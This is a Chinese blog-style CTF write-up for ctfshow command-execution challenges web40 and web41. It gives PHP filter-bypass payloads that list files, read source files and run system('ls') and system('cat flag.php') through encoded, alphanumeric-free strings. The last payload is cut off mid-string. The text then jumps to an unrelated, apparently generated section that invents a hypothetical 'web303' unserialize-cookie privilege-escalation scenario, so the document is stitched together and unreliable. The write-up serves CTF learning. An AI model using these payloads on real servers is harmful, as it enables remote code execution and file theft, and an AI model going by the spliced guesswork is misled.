[ctfshow]web入门——命令执行(web40-web53)

这篇博客详细介绍了CTF比赛中关于Web安全的一系列命令执行问题,从Web40到Web53,探讨了不同场景下如何绕过过滤机制,包括使用localeconv(), current(), array_reverse(), next()等函数,以及各种payload和绕过空格过滤的方法。同时提到了session和cookie可能存在的限制,并分享了大佬的通杀脚本链接。" 122226811,11312158,机器学习:从逻辑回归到XGBoost,"['机器学习', '深度学习', '算法', 'Python']

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

eval

web40

<?php
if(isset($_GET['c'])){
   
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
   
        eval($c);
    }
        
}else{
   
    highlight_file(__FILE__);
}

因为''等等被过滤了,相当于无参数rce

/?c=var_dump(scandir(current(localeconv()))); 

localeconv() 返回一包含本地数字及货币格式信息的数组,该数组第一个元素是.
current() 返回数组中的当前元素的值。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。

在这里插入图片描述
读文件

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

array_reverse()函数以相反的元素顺序返回数组
next() 将内部指针指向数组中的下一个元素

在这里插入图片描述
理论上开启session对话的方式应该也可以,但是平台最近被xss了?可能cookie不能整了


web41

<?php
if(isset($_POST['c'])){
   
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
   
        eval("echo($c);");
    }
}else{
   
    highlight_file(__FILE__);
}
?>

大佬写得通杀脚本
https://blog.youkuaiyun.com/miuzzx/article/details/108569080
[0-9]|[a-z]被过滤,所以应该是无数字字母的rce,$、+、-、^、~被过滤,所以用|

phpinfo

c=("%10%08%10%09%0e%06%0f"|"%60%60%60%60%60%60%60")()

在这里插入图片描述

//system('ls')
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60")
//system('cat flag.php')
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|
### CTFShow Web 入门 代码审计 web303 解题思路 对于CTFShow平台上Web入门级代码审计题目web303,虽然具体细节未直接提及于提供的参考资料中,但从其他相似题目的解析中可以获得一些通用的解题方法和技术。 #### 题目背景理解 通常这类题目涉及的是对给定PHP或其他服务器端脚本语言编写的程序进行静态分析。目的是找出潜在的安全漏洞,比如SQL注入、命令执行、文件包含等常见问题[^1]。 #### 审计重点 - **输入验证不足**:检查是否存在未经充分过滤就使用的用户输入数据。 - **不安全的对象反序列化**:注意是否有对象被序列化存储在cookie或session中,并且这些对象会在后续操作里被反序列化处理[^3]。 - **弱加密算法应用不当**:如果涉及到加解密逻辑,则需评估所采用的方法是否足够强壮以及实现方式上有没有缺陷[^5]。 #### 实际案例模拟 假设`web303.php`中有如下片段: ```php <?php class User { public $role; } if (isset($_COOKIE['user'])) { $user = unserialize(base64_decode($_COOKIE['user'])); } else { setcookie('user', base64_encode(serialize(new User()))); } ``` 这段代码存在明显的安全隐患——它允许攻击者构造恶意payload并通过设置特定格式的Cookie来控制变量 `$user->role` 的值,进而可能获得管理员权限或者其他敏感功能访问权。 为了利用这一点,可以创建一个新的 `User` 类实例并将属性设为期望的状态(例如将角色更改为admin),之后将其序列化再经过Base64编码作为新的Cookie发送请求即可完成提权过程。 #### 测试与验证 使用Burp Suite之类的代理工具拦截HTTP流量,在Cookies部分修改对应项的内容为精心设计后的字符串表示形式,提交后观察响应变化确认漏洞的存在与否及其影响范围。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值